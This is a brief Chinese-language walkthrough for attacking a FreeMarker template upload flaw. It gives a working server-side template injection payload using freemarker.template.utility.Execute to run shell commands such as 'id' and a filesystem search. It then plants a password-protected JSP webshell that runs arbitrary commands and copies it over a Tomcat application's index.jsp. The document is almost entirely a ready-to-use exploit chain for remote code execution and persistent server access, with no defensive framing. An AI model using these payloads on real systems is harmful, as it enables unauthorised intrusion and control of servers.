1、寻找可以上传FTL模板的漏洞点


2、尝试注入FTL模板

<#assign test="freemarker.template.utility.Execute"?new()>
${test("id")}


3、查找上传的FTL文件保存路径

<#assign test="freemarker.template.utility.Execute"?new()>
${test("find / -name *.ftl")}


4、获取WebShell

# webshell.ftl
<%if ("023".equals(request.getParameter("pwd")))
{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
# main.ftl
<#assign test="freemarker.template.utility.Execute"?new()>
${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl 
/home/bmpapp/tomcat/webapps/default.war/index.jsp")}


5、访问index.jsp